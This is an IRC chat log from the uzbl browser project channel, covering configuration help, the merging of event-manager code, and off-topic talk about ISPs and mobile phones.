21:02 < ruskie> set load_finish_handler = spawn $HOME/.config/uzbl/scripts/launch_something.sh and launch_something filters on sites and for example calls youtube-dl -b -g with mplayer to get it
21:02 < ruskie> bct, I think it is there
21:02 < evert> bct: http://labs.adobe.com/downloads/flashplayer10.html ;p
21:03 < bct> damn, i wish you hadn't told me that.
21:03 < bct> now i might try to install it :(
21:03 < evert> haha :)
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21:03  * devon will be cheering the day flash dies a dirty death
21:03 < ruskie> http://ruskie.codemages.net/cgi-bin/gitweb.cgi?p=configs/uzbl.git;a=summary <-- you can see how I handle youtube vids here
21:03 < evert> ruskie: wow, that's some cool stuff you can do with it :o)
21:03 < ruskie> need to add others as well sometime
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22:28 < devon> is there any known way to get the uzbltabbed fifo from a spawn?
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22:44 < Dr-Horrible> Did anyone fix the gmail problem...
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23:09 < vjoe> sup
23:10 < vjoe> is uzbl "ready to use"? I mean in terms of stability
23:19 < Dr-Horrible> vjoe: I think so
23:19 < vjoe> I just installed
23:19 < vjoe> this is ultra small
23:19 < vjoe> LOL
23:19 < vjoe> i'm reading the faq now
23:21 < sitwon> vjoe: there are some known bugs and rough edges. It's still considered alpha quality. But it's works just fine for most "normal" web pages
23:21 < vjoe> wow, this is totally "new"
23:22 < vjoe> a totally different paradigm
23:22 < Cheeseum> a good bit of the troubles I've had with uzbl were webkit'
23:22 < Cheeseum> s  fault
23:23 < vjoe> the only think I'm not liking
23:23 < vjoe> is the no tabs thing
23:23 < vjoe> but honestly, it's true that tabs brought a bad habit
23:23 < vjoe> like openning a tab and say "meh, I'll read it later"
23:24 < devon> you can use uzbl_tabbed.py for tabs
23:24 < vjoe> right
23:24 < devon> it's pretty decent
23:25 < devon> and it's nice to be able to kill a misbehaving tab's process
23:25 < vjoe> wow there's no cookie support? :o
23:25 < devon> also, donno if you would be interested, but I just finished coding up a solution (at least for me) to the tab problem you mention ('meh I'll read it later')
23:25 < bct> vjoe, there is cookie support.
23:25 < bct> you need to configure it.
23:26 < devon> cookies also can be done with a script
23:26 < vjoe> http://en.wikipedia.org/wiki/Not_Invented_Here
23:26 < vjoe> ^ lol
23:26 < bct> devon, i'm interested if it's online somewhere
23:26 < vjoe> devon: hm, how does that work?
23:26 < vjoe> I'm quite excited with uzbl
23:26 < vjoe> eheh
23:26 < vjoe> I like trying new stuff
23:27 < vjoe> and acording to some ppl, uzbl fits well in xmonad
23:27 < devon> ok, it;'s simple, I created a script that can handle queueing commands
23:27 < devon> push, pop, shift, append
23:27 < devon> when you open an article, you can hit a key binding to append it to the queue
23:27 < devon> and the tab goes away
23:28 < devon> when you want to read an article from your queue, you hit a different binding, and it will pop the top article form the queue and dispaly it
23:28 < bct> yum, i like.
23:28 < devon> you can also list the queue
23:28 < vjoe> interesting
23:28 < vjoe> devon: python?
23:28 < devon> and move forward/backwards (basically both a push and shift or an append and pop)
23:28 < devon> yeah
23:28 < devon> lemme just add it to my repo
23:29 < vjoe> nice
23:29 < devon> and you guys can pull it if you like
23:30 < vjoe> this is nice but I think I will leave for next week, I can't into something this deep right now, I'm flying on sunday eheh
23:31 < vjoe> but I like the fact that uzbl challenges the current paradigm
23:31 < vjoe> I've always struggled with the fact that a lot of space is taken out by toolbars in convencional browsers
23:33 < devon> http://github.com/devonjones/uzbl/blob/40c16016ea5166271cf438d960cc4a54b9231272/examples/data/uzbl/scripts/article_queue.py
23:33 < devon> lemme get you a pastebin of my config too
23:34 < bct> ah, this uses your json branch?
23:34 < devon> http://pastebin.com/m49577c16
23:34 < devon> no, it's recording the queue as json
23:34 < bct>  qs = qs.replace('"', '"')
23:34 < bct> ?
23:34 < bct> ah, gotcha.
23:35 < devon> should be 	qs = qs.replace('"', "'")
23:36 < devon> it's just a quick hack to deal with any web page titles that happen to have " in them
23:36 < devon> my goal is to not have this use a javascript alert
23:37 < devon> but instead create a page for the list
23:37 < devon> and if you click on anything, it will pull it from the queue and display it
23:37 < devon> I just had to get some actual work done, so I did the javascript thing for now
23:39 < bct> uzbl is so much more fun than actual work
23:39 < devon> as a note, it does assume you have XDG_CONFIG_HOME set and there's a directory called uzbl in it
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23:39 < devon> yeah, it is
23:39 < devon> it really is
23:39 < devon> ironically, I'm writing the article queue thing so that all the articles I have in my browser don't distract me while I'm working ;)
23:40 < devon> and let building that distract me from my work
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23:44 < devon> bct: think I should put this on the wiki?
23:46 < bct> can't hurt to.
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02:18 < Hyperion2010> anyone know the variable that stores selected text in the browser?
02:21 < dgym> I don't think there is one
02:21 < dgym> but wouldn't it be in the cut buffer as soon as you have selected it?
02:22 < Hyperion2010> that it might
02:22 < Hyperion2010> which would do exactly what I want to do
02:22 < dgym> and if you need it you can always run xclip
02:23 < dgym> the event version of uzbl will emit selection changed events
02:24 < Hyperion2010> fun
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03:26 < Hyperion2010> lol so apparnetly I was just missing my scheme.py file
03:26  * Hyperion2010 facepalm
04:03 < Hyperion2010> is there a way to set mouse button actions?
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04:36 < Hyperion2010> is there any way to make SELECTED_URI dumpable?
04:38 < Hyperion2010> nm, I htink Im doing something else wrong here
04:42 < scj> there was a branch that had support for bindable mouse actions, but I dunno if it was ever merged into the experimental branch
04:44 < scj> http://github.com/krayon/uzbl
04:44 < Hyperion2010> thanks
05:40 < Hyperion2010> is there a way to pass the value of internal variables to the sh command in the config?
05:42 < Hyperion2010> eg sh 'uzbl -u @SELECTED_URI'
05:42 < Hyperion2010> which works as set uri = @SELECTED_URI
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05:51 < Hyperion2010> so this is my hack chain 'sh 'uzbl -u $6'' 'set uri = @SELECTED_URI'
05:51 < Hyperion2010> not quit what I was hoping for
05:52 < scj> let me guess, you want middle click to open link in a new uzbl window?
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05:53 < Hyperion2010> haha
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05:54 < Hyperion2010> actually I want ol to open the link I'm hovering over
05:54 < Hyperion2010> in a new window
05:55 < Hyperion2010> ol being the key combination
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05:56 < scj> apparently you can only use variable expansion (eg @foo) in print and set commands, so you'll probably have to write a script that queries for SELECTED_URI
05:58 < Hyperion2010> oh ok
05:58 < Hyperion2010> that I can do
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06:12 < Hyperion2010> scj command sub lookes like it only works the other way into uzbl rather than out
06:13  * Hyperion2010 goes and reads on command substition
06:13 < scj> huh?
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06:18 < Hyperion2010> basically there is no way to send an external shell the output of in internal uzbl variable which is a tad odd
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06:20 < scj> yeah, it is
06:20 < scj> as in; i agree that it's odd
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08:01 < nebopolis> anyone here managed to get linkfolow.js or similar to open a new window?
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08:55 < scj> nebopolis: try something like bind F_ = js hints.follow("%s",function (item) { Uzbl.run("spawn uzbl " + item.href)})
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10:17 < Dieterbe> good morning
10:19 < dgym> morning
10:20 < dgym> in fact, far too early in the morning, I'm going back to bed
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11:13 < Dieterbe> mason-l: here?
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11:16 < github> uzbl: Devon Jones experimental SHA1-8cbb509
11:16 < github> New fifo command bring_to_front brings window to focus (uzbl_tabbed.py)
11:16 < github> http://bit.ly/220rCF
11:16 < github> uzbl: Dieter Plaetinck experimental SHA1-ef89da8
11:16 < github> authors update
11:16 < github> http://bit.ly/tIqcT
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11:27 < github> uzbl: Dieter Plaetinck experimental SHA1-1431c68
11:27 < github> dont put too specific system details in useragent by default
11:27 < github> http://bit.ly/pKh7N
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11:27 < holizz> Pfft.
11:31 < Dieterbe> :D
11:31 < Dieterbe> he had a good point
11:32 < holizz> Maybe.
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11:41 < Dieterbe> mason-l / rob| / holizz /.. for the next half hour or so, don't do new pull requests and rob| don't push stuff to my tree @ github
11:41 < Dieterbe> i'm moving event-messages to experimental and stuff
11:41 < holizz> Oh, it works then?
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11:42 < Dieterbe> kinda. it's not finished though
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12:10 < holizz> Oh wow. git request-pull. That's amazing.
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12:30 < christophe-marie> I'm giving a try to uzbl. Reading the faq, I see that default to enter in insert mode is 'i'. However, when I press 'i', I still cannot enter anything in any field
12:30 < christophe-marie>  a hint?
12:31 < christophe-marie> I'm using uzbl-git btw
12:31 < christophe-marie> on archlinux
12:32 < Dieterbe> did you load a config?
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12:32 < scj> christophe-marie: uzbl actually doesn't have any defaults. there is a example config that is used as a reference. are you sure this has been loaded?
12:33 < christophe-marie> There is not _any_ configuration loaded by default? Nothing in /etc/xdg, for example, like with awseome?
12:33 < christophe-marie> *awesome (the window manager)
12:34 < christophe-marie> That would be the problem, indeed
12:34 < Dieterbe> this is also explained in the faq
12:34 < scj> nope, but it does load $XDG_CONFIG_HOME/uzbl/config (if exists)
12:34 < christophe-marie> I guess I have to copy one of the examples
12:34 < christophe-marie> ok, then
12:36 < christophe-marie> So, even if I had the impression of reading the doc carefully, it was not obvious to me that nothing would work by default. Maybe stating it more clearly might help?
12:37 < Dieterbe> well it is faq entry #1 ...
12:38 < christophe-marie> I know, there is something that says "it does not do that much" but what I'm thinking about is "default is 'nothing works'" :)
12:38 < scj> maybe the sentence "By default, there are no keybinds defined at all." should be bolded?
12:38 < christophe-marie> yeah, something like that
12:39 < christophe-marie> It would avoid dummies like me to come and annoy everyone :)
12:39 < christophe-marie> just a suggestion, obviously, you do what you want
12:39 < christophe-marie> bye!
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13:00 < mason-l> Hey guys
13:00 < mason-l> Hey Dieterbe & rob|
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13:05 < Dieterbe> hi mason-l 
13:05 < mason-l> Hey
13:06 < mason-l> Looks like things are pretty crazy at the moment (Judging by the 57 commits in your experimental branch).
13:10 < Dieterbe> look at the news page ;)
13:12 < mason-l> Moving event-messages to experimental eh?
13:12 < mason-l> Interesting.
13:13 < Dieterbe> yeah
13:13 < Dieterbe> now we can develop the events stuff in experimental
13:14 < mason-l> :D
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13:27 < holizz> Dieterbe, So why is it that the script to run uzbl is called uzbl-browser and not simply uzbl?
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13:53 < Dieterbe> because uzbl itself is actually not really a browser anymore, it's just a core component
13:54 < Dieterbe> on top of which, you can build a browser, by using the scripts and configs and stuff
13:54 < Dieterbe> but just as well, you could build an rss reader for example
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14:17 < scj> so uzbl-core ignores bind statements in the config?
14:23 < mason-l> Dieterbe, Have you finished your merging?
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15:03 < Dieterbe> mason-l: yeah
15:07 < mason-l> Dieterbe, Did you see/grab/checkout the huge changes I made yesterday?
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15:30 < Dieterbe> mason-l: i think so
15:31 < Dieterbe> but you can easily check.. by diffing against dieter/experimental
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15:35 < mason-l> Dieterbe, I probably wasn't obvious enough by asking that question in the first place :S
15:35 < mason-l>  examples/data/uzbl/scripts/event_manager.py  |  363 +++++++++++++++++++-------
15:35 < mason-l>  examples/data/uzbl/scripts/plugins/bind.py   |  267 +++++++++++++++++--
15:35 < mason-l>  examples/data/uzbl/scripts/plugins/keycmd.py |  296 +++++++++++++---------
15:35 < mason-l>  uzbl-browser                                 |   16 +-
15:35 < mason-l>  4 files changed, 701 insertions(+), 241 deletions(-)
15:36 < Dieterbe> you want me to do something? just say so
15:38 < mason-l> Dieterbe, Yeah, I've made some huge changes to (see above) which makes the event-messages branch virtually usable.
15:38 < mason-l> rob|'s working on a fix for the socket communication issues on startup and the event manager is still missing something equivalent to a mode plugin.
15:39 < mason-l> But its one step closer.
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17:05 < opqdonut> i've been thinking of a feature: always_insert_mode would drop into command-mode when they keycmd is nonempty
17:05 < opqdonut> this would make using parametrized commands easier
17:07 < opqdonut> (i'm willing to implement it, just gathering some input first)
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17:15 < ruskie> opqdonut, erm
17:15 < Dieterbe> opqdonut: hmmmz
17:15 < Dieterbe> i don't understand
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17:15 < Dieterbe> why would anyone who uses always_insert_mode want to go into command mode?
17:16 < Dieterbe> and so, as soon as you hold a modkey or something to execute a command from inside insert mode, you would go to command mode? 
17:16 < Dieterbe> o_O
17:16 < scj> and always_insert_mode (and the rest of the key handling) will be deprecated soon
17:18 < Dieterbe> mason-l: you probably want to pull my experimental into yours, then merge your event-messages into your experimental and then push
17:18 < opqdonut> Dieterbe: now when using always_insert_mode, one has to keep the mod pressed for the whole duration of typing "o google.com"
17:18 < Dieterbe> mason-l: then i can merge your exp into mine
17:18 < opqdonut> i would prefer it to be alt-o google.com
17:18 < Dieterbe> well it would be insane to type something like that in a modeless program ( == always_insert_mode)
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17:19 < mason-l> Dieterbe, Sure thing.
17:19 < Dieterbe> people who want to do something like that should just not set always_insert_mode, or use a script that uses zenity or whatever to open new url's and bind it to simple keycombo's
17:19 < Dieterbe> without modes, you should really keep keyboard shortcuts short
17:20 < opqdonut> indeed
17:20 < opqdonut> it's just that i prefer using the statusbar as the prompt instead of zenity etc
17:20 < Dieterbe> then you probably just should not use always_insert_mode at all
17:22 < mason-l> Dieterbe, Pull from your experimental correct?
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17:22 < Dieterbe> mason-l: yes. my experimental is my old event-messages + a bunch of fixes that were in experimental but not yet in event-messages
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17:36 < mason-l> Dieterbe, You're all set to pull from my experimental branch.
17:37 < mason-l> I made a successful pull and merge into the one experimental branch.
17:37 < mason-l> And pushed it to github.
17:42 < Dieterbe> if all your event-messages stuff is now into your experimental, don't forget to: git branch -d event-messages &&  git push origin :event-messages (this will delete the branch locally and on github)
17:42 < mason-l> Dieterbe, Already have.
17:42 < Dieterbe> good good
17:43 < mason-l> (At least I think I've deleted the event-messages branch on github, the branch is gone but there is no "mason-l just deleted the event-messages branch" message)
17:44 < Dieterbe> btw how do you prefer to be called? just 'mason' ?
17:45 < mason-l> Sure
17:45 < Dieterbe>  mason-larobina  deleted branch event-messages at mason-larobina/uzbl  11 minutes ago  
17:45 < Dieterbe> ;)
17:46 < mason-l> Weird that I'm not seeing that.
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17:46 < pwlz> Hello
17:46 < Dieterbe> hey
17:47 < pwlz> Dieterbe: did you forgot to push new tag to github again? :)
17:47 < Dieterbe> 1265 lines of diff :(
17:47 < Dieterbe> pwlz: oops :D
17:47 < Dieterbe> my mistake
17:47 < Dieterbe> done
17:47 < mason-l> Dieterbe, Also don't forget to run: git remote prune origin & git remote prune mason-l
17:47 < pwlz> Dieterbe: thank you
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17:48 < mason-l> Dieterbe, Was that my changes?
17:48 < Dieterbe> nah, when you push a new tag the bot joins and leaves but doesn't say anything :)
17:48 < Dieterbe> it's always like this
17:49 < mason-l> I was replying to: <Dieterbe> 1265 lines of diff :(
17:49 < mason-l> :)
17:49 < Dieterbe> oh yeah, that's yours
17:49 < Dieterbe> pruned
17:50 < Dieterbe> so can you shortly describe what all these changes are?
17:51 < mason-l> I'm going to need a minute to summarise those diffs then.
17:52 < Dieterbe> k
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18:11 < mason-l> Dieterbe, So large I pastebin'd it: http://dpaste.com/92683/
18:13 < Dieterbe> 5. Event manager can now read event commands from the uzbl instances socket.
18:13 < Dieterbe> what's an 'event command' ?
18:14 < mason-l> Eeek
18:14 < mason-l> I mean event messages
18:14 < mason-l> (I'm tired)
18:14 < Dieterbe> np
18:14 < mason-l> I've got work in a few hours.
18:15 < mason-l> I need to hit the sack as its 00:13
18:15 < mason-l> But I'll wait until your finished first.
18:16 < Dieterbe> what's a keylet?
18:16 < Dieterbe> +# Hold the keylets.
18:16 < Dieterbe> +_UZBLS = {}
18:16 < mason-l> Dieterbe, Per-instance keycmd holder object.
18:17 < Dieterbe> k
18:17 < Dieterbe> so this code should be stabilizing now right?
18:17 < Dieterbe> or are there big things still pending
18:17 < mason-l> keylet.cmd = the command string, keylet.held = the keys held down at this moment. keylet.modcmd = is the current command a mod command, etc
18:18 < mason-l> Dieterbe, rob|'s socket communication event messages fix and I guess a mode plugin soon.
18:19 < Dieterbe> yeah ok
18:19 < Dieterbe> it's a bit ugly that we generate a random socketname and tell uzbl-core to use that
18:19 < Dieterbe> but i guess there is no better way
18:20 < mason-l> Dieterbe, Well I thought it would be ok as there is a 1/99999999 something chance of collisions and the socket is cleaned up afterwards.
18:21 < Dieterbe> and why '+uzbl-core -n $SOCKET_ID &' and not '+uzbl-core -n $SOCKET_ID "$@" &' ? i.e. pass on any commandline arguments 
18:21 < mason-l> ^^
18:21 < Dieterbe> wasn't talking about collisions. more about the name is less meaningfull now
18:21 < Dieterbe> ok for you if i append "$@" again?
18:22 < mason-l> Dieterbe, Yeah absolutely I forgot about accounting for that.
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18:23 < Dieterbe> +$XDG_DATA_HOME/uzbl/scripts/event_manager.py -vs $SOCKET_PATH
18:23 < Dieterbe> do you start a new event manager for every new uzbl-browser instance?
18:24 < mason-l> Dieterbe, Actually now that you mention it, although I've made it easy to add this ability I haven't yet added a multi-instance server like class/object in the event manager
18:25 < mason-l> So thats a large change.
18:25 < mason-l> But for now it's going to have to be one event manager per instance.
18:26 < Dieterbe> ok
18:26 < Dieterbe> so we'll fix that later
18:26 < Dieterbe> i have no further questions ;)
18:26 < mason-l> Theres also some other hurdles to overcome moving to a multi-instance event manager which require more discussion at a later date.
18:26 < Dieterbe> ok
18:26 < ruskie> :(
18:27 < ruskie> multi-instance would be so nice...
18:27 < mason-l> ruskie, And its coming, geez.
18:27 < ruskie> yeah I know :)
18:27 < Dieterbe> ruskie: patch welcome
18:27 < ruskie> just need to keep reminding myself not to update before then
18:27 < mason-l> ruskie, Look at the date, its been 7 days. The event_manager.py is explosive alpha!
18:27 < ruskie> yay
18:27 < ruskie> bleeding edge pwns ;)
18:28  * ruskie got ropped into trying to get: http://code.google.com/p/eeepc-linux/source/browse/trunk/module/eee.c this done under openbsd using this: http://www.openbsd.org/cgi-bin/man.cgi?query=iic&apropos=0&sektion=9&manpath=OpenBSD+Current&arch=i386&format=html
18:29 < Dieterbe> mason-l: merged anh pushed
18:29 < mason-l> Dieterbe, But bear in mind BIND events raised in the uzbl config won't be set yet until rob| finds a way to stop event messages getting lost on startup (I.e. before the socket location is determined & a client connected).
18:30 < mason-l> But you can add BIND events in the add_instance function in the bind.py plugin.
18:30 < mason-l> Sorry to put all the pressure on rob| but hes more familiar with the uzbl core.
18:31 < Dieterbe> it's not enough to put the bind events after the socket? because the socket is beind created asynchronously and when done the binds are already done?
18:32 < mason-l> Dieterbe, It just not fast enough.
18:33 < mason-l> The startup event messages just need to be buffered temporarily on start-up until a client event manager connects to the uzbl socket.
18:35 < Dieterbe> ah that doesn't sound too hard
18:37 < mason-l> And after 5 or 10 seconds (thats a really long time) drop the entire buffered event messages string if no event manager has connected in that time (to prevent an overflow of event messages).
18:37 < Dieterbe> yep
18:38 < mason-l> Anyway, got to sleep now.
18:38 < mason-l> Night guys.
18:38 < Dieterbe> bye
18:43 < mason-l> Dieterbe, Also (I think I tested it) those <a><b>c binds work in the bind plugin now.
18:46 < mason-l> Ah whoops, not quite.
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19:49 < xelados> Is it possible for uzbl to use vim-style commands, e.g. ":command args"?
19:50 < jelly12gen> hm yes
19:50 < holizz> xelados, Of course, see the default config.
19:50 < xelados> Alright, I'll check it out.
19:51 < ruskie> though there is no command history yet :(
19:51 < holizz> Hey everybody, guess what I did! I combined uzbl with cplay for epic win.
19:52 < holizz> 1. Start cplay, 2. Visit a video on YouTube,, 3. Type ynq, 4. Listen to the video/song in cplay.
19:52 < ruskie> holizz, guess what: go to youtube.com/watchwhatever -> automatically opens up mplayer with the youtube vid using youtube-dl ;)
19:53  * ruskie has had that for a while ;)
19:53 < ruskie> and can add other sites as well
19:53 < xelados> What's the 'chain' command for?
19:53 < xelados> :_
19:53 < holizz> ruskie, I have a key combo to open mplayer on YouTube, but this _enqueues_ the songs.
19:53 < holizz> xelados, It runs more than one command.
19:54 < xelados> Oh, okay
19:54 < holizz> i.e. chain 'set a = b' 'set c = d'
19:54 < ruskie> holizz, hmm generally don't have any need for that ;) but great if you do ;)
19:54 < ruskie> I simply have mplayer popup with the vid playing on opening a vid page
19:55 < ruskie> no extra keycombos :)
19:55 < holizz> I don't like things happening without my express permission.
19:55 < holizz> And this is neccessary as my music collection is sitting in my mum's house 200 miles north of where I've just moved to.
19:56 < ruskie> the power of uzbl ;)
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19:57 < holizz> Argh, wifi = slow.
19:57 < ruskie> youch
19:59 < holizz> Yeah, I'm trying to get the bloody thing configured. I think I have pppoe figured out (ppp ... over ethernet? who had that stupid idea?). I just need to connect my flatmate's PC to my laptop over ethernet, then connect my laptop to the wifi, and get the packets to passthrough, then run pppoe-sniffer, and then tell his PC to dial.
19:59 < ruskie> why sniffer?
19:59 < holizz> Because he doesn't know what the password is.
19:59 < ruskie> rofl
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20:00 < ruskie> and yeah pppoe is really a stupid idea
20:00 < ruskie> why not just put some router there? and have it serve dhcp?
20:00 < xelados> How would you bind F1 to a helper app?
20:00 < ruskie> I don't think it's possible yet
20:01 < ruskie> but you could try using the old vim method of tying the key in and hoping it will grab
20:01 < xelados> Yeah, that's what I had in mind but I wasn't sure.
20:01 < xelados> I guess 'h' is a better key anyway
20:01 < xelados> or
20:01 < xelados> ?
20:01 < holizz> ruskie, There is a router. I might configure it to do ppp itself (I intend to get myself a torrent box), but I have to get the password first.
20:02 < ruskie> or wait for the event manager stuff to hit... I think that makes it possible to do such interesting binds
20:02 < ruskie> holizz, ahh
20:02  * ruskie is happy he has a cable connection and that uses plain old dhcp
20:03 < holizz> xelados, To bind arbitrary keys, it has to be inserted raw, so type ^V in vim, then type the key command. Or, indeed, wait for event-manager.
20:03 < opqdonut> :)
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20:04 < holizz> ruskie, Yeah, that's the problem with not being able to pick the ISP myself.
20:05 < holizz> I don't imagine Carphone Warehouse is the best ISP in the country.
20:05 < ruskie> who picked it?
20:07 < ruskie> though as you mention cpwh I'm guessing this is the UK... and from reading on el-reg you lot have more or less 0 quality ISPs
20:08 < holizz> ruskie, The guy who's been living here for 5 years.
20:08 < ruskie> ahh
20:09 < holizz> Yep, we have some acceptable ones. O2 isn't bad, Be had lots of downtime but was otherwise good.
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20:09 < holizz> But it's hard to find one that doesn't subscribe to the secret blacklist. And most of the bigger ones like to block torrents, like BT.
20:10 < ruskie> blacklists are easy to bypass with tor... though uzbl doesn't yet support that well
20:10 < holizz> And you can't get native IPv6 because BT, who owns the backbone, uses some routers that have a bug that means they bork on v6.
20:10 < ruskie> rofl
20:11 < ruskie> I don't really like ipv6
20:11 < ruskie> that might change with time but don't like some of the things it does
20:12 < holizz> I haven't really looked at it in that much detail. But it's certainly neccessary.
20:12 < ruskie> still need to figure out how to explain to my cellco to open up all incoming ports on my mobile connection
20:12 < ruskie> well the ip6 addys tend to include parts of the mac addy
20:12 < ruskie> atleast those autogenerated
20:13 < ruskie> well more like most of the mac
20:13 < ruskie> don't really like that
20:13 < holizz> I imagine your cell provider will do that...
20:13 < ruskie> for the incoming ports?
20:13 < ruskie> nope
20:13 < holizz> Heh.
20:13 < ruskie> they intentionally block them
20:14 < ruskie> I had a debate with them a year or so ago
20:14 < xelados> The correct dir structure under $HOME is ~/.config/uzbl/config/config, right?
20:14 < ruskie> erm no
20:14 < holizz> You planning on hosting a Web server in your pocket?
20:14 < ruskie> ~/.config/uzbl/
20:14 < ruskie> basically there was an inconsisntecy with their setup... my mobile internet package had all ports closed while the cell phone had all open
20:15 < ruskie> so I asked to to fix one or the other depending on their policy
20:15 < ruskie> so they blocked it all
20:15 < ruskie> but that's ok since it helps not having to worry about a firewall on the symbicrap ;)
20:15 < ruskie> now that I'll be lugging maemo around I actually do want to be in control :)
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20:16 < ruskie> and it's not so much about a webserver as it is about things like push notifications, sharing files etc...
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20:17 < ruskie> so once I get the N900 I'll definately bug them about opening
20:17 < holizz> Now that I earn money, rather than just spend it, I've been thinking about getting a decent phone. What do you recommend?
20:18 < ruskie> N900 :)
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20:18 < holizz> What does that run?
20:18 < ruskie> not because it's a decent phone but because it's a mobile computer WITH a phone added :)
20:18 < holizz> s/does/can/
20:18 < ruskie> maemo - aka linux :)
20:18 < ruskie> http://maemo.nokia.com
20:18 < ruskie> have fun reading :)
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20:46 < holizz> Phones cost lots of money. 500GBP for an N900. Something like 300+ for a Neo Freerunner.
20:47 < holizz> I'm probably better off sticking my Eee in a backpack, and hooking up a game controller for input, and speakers for output.
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20:55 < Dieterbe> except that with an eee you can't do GSM
20:56 < Dieterbe> and it doesn't fit in your pocket.  the n900 does.  it's a small computer which you can take everywhere with you. unlike netbooks
20:56 < holizz> Does the N900 have USB?
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20:59 < Dieterbe> i thought so
21:00 < Dieterbe> Micro-USB connector, High-Speed USB 2.0
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21:04 < Dieterbe> holizz: if you want a smartphone, get a htc G2/G3 (aka magic and hero)
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21:05 < Dieterbe> if you want a tiny netbook that can do GSM stuff and has an awesome interface, get the n900
21:05 < Dieterbe> on android (g2/3) you can also run a normal userland btw, a friend has ubuntu in a chroot on it :P
21:05 < Dieterbe> it's a bit hackish though
21:06 < Dieterbe> on maemo5 it's freedom by default
21:06 < holizz> I've heard Android is pretty slick to programme for, but it's not-quite-open-source, which is a bit of a turn-off.
21:08 < Dieterbe> and it's a very specific userland
21:10 < hesaidcheesehead> sorry for interjecting, but n900 won't exactly be completely open either. plenty of stuff in it will be binary blobs
21:11 < Dieterbe> lol. cool nickname
21:11 < holizz> Orly? Can you install a vanilla Maemo or OpenMoko on it?
21:11 < Dieterbe> on android, you can install any userspace that works on the linux kernel (in a chroot), afaik
21:12 < Dieterbe> hesaidcheesehead: well i saw a thread about it on maemo-dev and though there were some things closed, i think it was quite reasonable
21:12 < Dieterbe> don't remember the specifics though
21:13 < Dieterbe> holizz: but of course that won't mean graphics and stuff will work
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21:16 < hesaidcheesehead> Dieterbe: as I understand it from http://wiki.maemo.org/Why_the_closed_packages, packages will be closed if 1: 3rd party licenses/IP, ugly code they're embarrased about, stuff they don't want to share with others and the risk of people borking their phone and then complain about it
21:17 < hesaidcheesehead> still, it's better than android ;)
21:18 < holizz> The last reason is the worst. It's like the UK: we can't trust you to get on with your lives, we have to make sure you don't consent to things that are bad for you, and you can't view things which are bad for you either.
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21:21 < holizz> Have you all noticed the weird shift in Web site citations in adverts? It used to be "AOL keyword: foobar", along with the URI, and then they dropped the AOL shit, and now a lot of them say "search for foobar" with no URI.
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21:22 < hesaidcheesehead> holizz, I think it's worse that there are things they don't want to share that's the most damning. It's like the antithesis of FOSS
21:22 < xelados> How do you use the hints provided in hint mode (F)? Using numbers treats them like regular commands.
21:23 < holizz> xelados, I use "fl", then just type the number.
21:23 < hesaidcheesehead> my grammar sucks today
21:23 < xelados> ah, okay
21:23 < xelados> thanks
21:24 < xelados> So what's the point of two hint modes?
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21:24 < holizz> xelados, One works, the other doesn't?
21:25 < xelados> hah
21:25 < xelados> The the vimperator-like one not finished yet or something?
21:25 < holizz> What's vimperator's hints system like?
21:26 < xelados> you hit f or F, I believe (it could be h, I forgot), then just hit the number.
21:26 < xelados> F (or H) just opens in a new tab
21:26 < holizz> I used ... FoxHints? I think. Never tried vimperator. Seems like the equivalent of Emacs' vi mode, or Cygwin.
21:27 < xelados> vimperator uses vim-like commands like :tabopen :tabclose :guioptions, etc
21:27 < holizz> xelados, You could configure that.
21:27 < xelados> True.
21:27 < holizz> xelados, You could configure that too. Have you tried uzbl_tabbed yet? It's in the scripts dir.
21:27 < xelados> I'm just working on basic functionality right now.
21:27 < holizz> Tabs != basic functionality. Correct.
21:32 < xelados> Building a browser that's like today's browsers isn't exactly easy, since there are so many interlocking pieces
21:32 < xelados> or interacting, in uzbl's case.
21:32 < xelados> :P
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21:55 < ruskie> hesaidcheesehead, the one difference is that you can still run it without those bloobs and you only loose what those blobs provide... though I'd be happy if they used bloby firmware only and the drivers to be easily upgradeable
21:55 < ruskie> for the gps and gsm I would assume the interface would be plain text(i.e. AT and whatever GPS standard outputs text)
21:55 < ruskie> iirc they also got the wifi open or something like that in the n900
21:56 < ruskie> which was one of the complaints of the earlier devices
21:56 < ruskie> I can respect them wanting to keep the batery stuff closed but they could have done it without spoiling userland
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22:15 < hesaidcheesehead> ruskie: I can live with closed firmware (even the freerunner has proprietary firmware), but I don't buy their "differentiation" and security reasons at all. What's the point of open source if not to read, learn from and improve on code? If they really believed in OSS they would particularly open the parts they think are important. If someone decides to rewrite the battery management and their pockets burst into
22:15 < ruskie> hesaidcheesehead, can you try cutting your lines a bit
22:15 < ruskie> irc isn't endless
22:15 < ruskie> it has a char limit
22:16 < ruskie> and reading huge blobs of text is rather annoying
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22:16 < hesaidcheesehead> sorry, got carried away :)
22:16 < ruskie> hesaidcheesehead, security agreed... differentiation... well they want to get something out of it without it being stolen by competitors
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22:17 < ruskie> though I think they should atleast offer the specs so that community can write their own
22:17 < hesaidcheesehead> yeah, that would be nice
22:18 < ruskie> as for embarassing code... well that's up to them but I think it shouldn't be needed to hide it
22:18 < ruskie> but I guess everyone just wants to see it open so nobody is asking for the specs
22:18 < ruskie> though even the batery stuff they could probably do with firmware
22:19 < ruskie> anyway heading to bed
22:20 < hesaidcheesehead> don't know how much responsibility "bme" has though
22:20 < hesaidcheesehead> ok, bye
22:23 < holizz> I'm off out. So bye ruskie, and everybody else.
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23:09 < sman> hi there, I am trying to write a commit_handler.sh, and I am not sure how to deal with   "script $XDG_DATA_HOME/uzbl/scripts/linkfollow.js" > "$4"'  so that uzbl loads the script
23:09 < sman> any ideas?
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23:12 < Dieterbe> what exactly is your problem
23:13 < scj> sman: echo 'script <path>' > "$4"
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23:15 < sman> hmm now I'm getting /home/simon/.local/share/uzbl/scripts/commit_handler.sh: line 3: : No such file or directory
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23:16 < sman> and yes, the file exists
23:16 < sman> in that location
23:17 < scj> it's probably complaining about $4. clean your fifo dir and try again
23:19 < sman> scj: ah that did it, thankyou
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23:27 < uriel> ah, seems that atrack installations are starting to pop out around the place, anyone knows who runs: http://theninjahideout.appspot.com/ ?
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23:33 < uriel> blah, wrong channel
23:34 < Dieterbe> that explains
23:38 < uriel> hehe
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23:57 < holizz> I speak to you from a buggy-as-hell Python IRC client. I'm on a Fedora machine
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23:59 < dirkson> Hey all! I'm getting: error on run_command: Failed to execute child process "~/.config/uzbl/scripts/load_url_from_bookmarks.sh" (No such file or directory)
23:59 < dirkson> However, that file is TOTALLY there. What's up?
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00:00 < rob|> chmod +x it?
00:01 < dirkson> rob|: It already is!
00:01 < dirkson> rob|: Even has the right user and everything ;)
00:01 < scj> dirkson: what happens if you change the ~ to $HOME?
00:02 < holizz> dirkson: and you're sure the ¬ ~ is being expaned?
00:02 < holizz> (This client doesn't let me delete non-ASCII chars very reliably.)
